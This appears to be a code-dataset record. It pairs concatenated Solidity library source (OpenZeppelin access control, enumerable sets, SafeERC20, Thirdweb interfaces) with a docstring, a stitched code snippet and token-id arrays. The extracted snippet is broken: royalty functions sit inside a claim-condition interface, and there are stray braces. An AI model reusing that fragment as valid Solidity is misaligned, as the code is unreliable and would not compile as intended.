* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebContract {
/// @dev Returns the module type of the contract.
function contractType() external pure returns (bytes32);
/// @dev Returns the version of the contract.
function contractVersion() external pure returns (uint8);
/// @dev Returns the metadata URI of the contract.
function contractURI() external view returns (string memory);
/**
* @dev Sets contract URI for the storefront-level metadata of the contract.
* Only module admin can call this function.
*/
function setContractURI(string calldata _uri) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebPlatformFee {
/// @dev Returns the platform fee bps and recipient.
function getPlatformFeeInfo() external view returns (address, uint16);
/// @dev Lets a module admin update the fees on primary sales.
function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external;
/// @dev Emitted when fee on primary sales is updated.
event PlatformFeeInfoUpdated(address platformFeeRecipient, uint256 platformFeeBps);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebPrimarySale {
/// @dev The adress that receives all primary sales value.
function primarySaleRecipient() external view returns (address);
/// @dev Lets a module admin set the default recipient of all primary sales.
function setPrimarySaleRecipient(address _saleRecipient) external;
/// @dev Emitted when a new sale recipient is set.
event PrimarySaleRecipientUpdated(address indexed recipient);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
interface IThirdwebRoyalty is IERC2981Upgradeable {
struct RoyaltyInfo {
address recipient;
uint256 bps;
}
/// @dev Returns the royalty recipient and fee bps.
function getDefaultRoyaltyInfo() external view returns (address, uint16);
/// @dev Lets a module admin update the royalty bps and recipient.
function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) external;
/// @dev Lets a module admin set the royalty recipient for a particular token Id.
function setRoyaltyInfoForToken(
uint256 tokenId,
address recipient,
uint256 bps
) external;
/// @dev Returns the royalty recipient for a particular token Id.
function getRoyaltyInfoForToken(uint256 tokenId) external view returns (address, uint16);
/// @dev Emitted when royalty info is updated.
event DefaultRoyalty(address newRoyaltyRecipient, uint256 newRoyaltyBps);
/// @dev Emitted when royalty recipient for tokenId is set
event RoyaltyForToken(uint256 indexed tokenId, address royaltyRecipient, uint256 royaltyBps);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IThirdwebOwnable {
/// @dev Returns the owner of the contract.
function owner() external view returns (address);
/// @dev Lets a module admin set a new owner for the contract. The new owner must be a module admin.
function setOwner(address _newOwner) external;
/// @dev Emitted when a new Owner is set.
event OwnerUpdated(address prevOwner, address newOwner);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/utils/structs/BitMapsUpgradeable.sol";
/**
* Thirdweb's 'Drop' contracts are distribution mechanisms for tokens.
*
* A contract admin (i.e. a holder of `DEFAULT_ADMIN_ROLE`) can set a series of claim conditions,
* ordered by their respective `startTimestamp`. A claim condition defines criteria under which
* accounts can mint tokens. Claim conditions can be overwritten or added to by the contract admin.
* At any moment, there is only one active claim condition.
*/
interface IDropClaimCondition {
/**
* @notice The criteria that make up a claim condition.
*
* @param startTimestamp The unix timestamp after which the claim condition applies.
* The same claim condition applies until the `startTimestamp`
* of the next claim condition.
*
* @param maxClaimableSupply The maximum total number of tokens that can be claimed under
* the claim condition.
*
* @param supplyClaimed At any given point, the number of tokens that have been claimed
* under the claim condition.
*
* @param quantityLimitPerTransaction The maximum number of tokens that can be claimed in a single
* transaction.
*
* @param waitTimeInSecondsBetweenClaims The least number of seconds an account must wait after claiming
* tokens, to be able to claim tokens again.
*
* @param merkleRoot The allowlist of addresses that can claim tokens under the claim
* condition.
*
* @param pricePerToken The price required to pay per token claimed.
*
* @param currency The currency in which the `pricePerToken` must be paid.
*/
struct ClaimCondition {
uint256 startTimestamp;
uint256 maxClaimableSupply;
uint256 supplyClaimed;
uint256 quantityLimitPerTransaction;
uint256 waitTimeInSecondsBetweenClaims;
bytes32 merkleRoot;
uint256 pricePerToken;
address currency;
}
/**
* @notice The set of all claim conditions, at any given moment.
* Claim Phase ID = [currentStartId, currentStartId + length - 1];
*
* @param currentStartId The uid for the first claim condition amongst the current set of
* claim conditions. The uid for each next claim condition is one
* more than the previous claim condition's uid.
*
* @param count The total number of phases / claim conditions in the list
* of claim conditions.
*
* @param phases The claim conditions at a given uid. Claim conditions
* are ordered in an ascending order by their `startTimestamp`.
*
* @param limitLastClaimTimestamp Map from an account and uid for a claim condition, to the last timestamp
* at which the account claimed tokens under that claim condition.
*
* @param limitMerkleProofClaim Map from a claim condition uid to whether an address in an allowlist
* has already claimed tokens i.e. used their place in the allowlist.
*/
struct ClaimConditionList {
uint256 currentStartId;
uint256 count;
mapping(uint256 => ClaimCondition) phases;
mapping(uint256 => mapping(address => uint256)) limitLastClaimTimestamp;
mapping(uint256 => BitMapsUpgradeable.BitMap) limitMerkleProofClaim;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface IWETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function transfer(address to, uint256 value) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
} | @dev Returns the owner of the contract. @dev Lets a module admin set a new owner for the contract. The new owner must be a module admin. @dev Emitted when a new Owner is set. SPDX-License-Identifier: Apache-2.0* Thirdweb's 'Drop' contracts are distribution mechanisms for tokens. A contract admin (i.e. a holder of `DEFAULT_ADMIN_ROLE`) can set a series of claim conditions, ordered by their respective `startTimestamp`. A claim condition defines criteria under which accounts can mint tokens. Claim conditions can be overwritten or added to by the contract admin. At any moment, there is only one active claim condition./ | interface IDropClaimCondition {
function getDefaultRoyaltyInfo() external view returns (address, uint16);
function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) external;
function setRoyaltyInfoForToken(
uint256 tokenId,
address recipient,
uint256 bps
) external;
function getRoyaltyInfoForToken(uint256 tokenId) external view returns (address, uint16);
event DefaultRoyalty(address newRoyaltyRecipient, uint256 newRoyaltyBps);
event RoyaltyForToken(uint256 indexed tokenId, address royaltyRecipient, uint256 royaltyBps);
}
pragma solidity ^0.8.11;
}
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/utils/structs/BitMapsUpgradeable.sol";
struct ClaimCondition {
uint256 startTimestamp;
uint256 maxClaimableSupply;
uint256 supplyClaimed;
uint256 quantityLimitPerTransaction;
uint256 waitTimeInSecondsBetweenClaims;
bytes32 merkleRoot;
uint256 pricePerToken;
address currency;
}
struct ClaimConditionList {
uint256 currentStartId;
uint256 count;
mapping(uint256 => ClaimCondition) phases;
mapping(uint256 => mapping(address => uint256)) limitLastClaimTimestamp;
mapping(uint256 => BitMapsUpgradeable.BitMap) limitMerkleProofClaim;
}
}
| 94,925 | [
1,
1356,
326,
3410,
434,
326,
6835,
18,
225,
511,
2413,
279,
1605,
3981,
444,
279,
394,
3410,
364,
326,
6835,
18,
1021,
394,
3410,
1297,
506,
279,
1605,
3981,
18,
225,
512,
7948,
1347,
279,
394,
16837,
353,
444,
18,
11405,
28826,
17,
13211,
17,
3004,
30,
24840,
17,
22,
18,
20,
225,
935,
6909,
4875,
1807,
296,
7544,
11,
20092,
854,
7006,
1791,
28757,
364,
2430,
18,
225,
432,
6835,
3981,
261,
77,
18,
73,
18,
279,
10438,
434,
1375,
5280,
67,
15468,
67,
16256,
24065,
848,
444,
279,
4166,
434,
7516,
4636,
16,
225,
5901,
635,
3675,
17613,
1375,
1937,
4921,
8338,
432,
7516,
2269,
11164,
3582,
3613,
1492,
225,
9484,
848,
312,
474,
2430,
18,
18381,
4636,
848,
506,
15345,
578,
3096,
358,
635,
326,
6835,
3981,
18,
225,
2380,
1281,
10382,
16,
1915,
353,
1338,
1245,
2695,
7516,
2269,
18,
19,
2,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0
] | [
1,
5831,
1599,
1764,
9762,
3418,
288,
203,
565,
445,
4829,
54,
13372,
15006,
966,
1435,
3903,
1476,
1135,
261,
2867,
16,
2254,
2313,
1769,
203,
203,
565,
445,
9277,
54,
13372,
15006,
966,
12,
2867,
389,
3800,
15006,
18241,
16,
2254,
5034,
389,
3800,
15006,
38,
1121,
13,
3903,
31,
203,
203,
565,
445,
444,
54,
13372,
15006,
966,
1290,
1345,
12,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
324,
1121,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
4170,
13372,
15006,
966,
1290,
1345,
12,
11890,
5034,
1147,
548,
13,
3903,
1476,
1135,
261,
2867,
16,
2254,
2313,
1769,
203,
203,
565,
871,
2989,
54,
13372,
15006,
12,
2867,
394,
54,
13372,
15006,
18241,
16,
2254,
5034,
394,
54,
13372,
15006,
38,
1121,
1769,
203,
203,
565,
871,
534,
13372,
15006,
1290,
1345,
12,
11890,
5034,
8808,
1147,
548,
16,
1758,
721,
93,
15006,
18241,
16,
2254,
5034,
721,
93,
15006,
38,
1121,
1769,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
2499,
31,
203,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
2499,
31,
203,
203,
5666,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
17,
15097,
429,
19,
5471,
19,
1697,
87,
19,
5775,
8903,
10784,
429,
18,
18281,
14432,
203,
203,
203,
565,
1958,
18381,
3418,
288,
203,
3639,
2254,
5034,
787,
4921,
31,
203,
3639,
2254,
5034,
943,
9762,
429,
3088,
1283,
31,
203,
3639,
2254,
5034,
2
] |
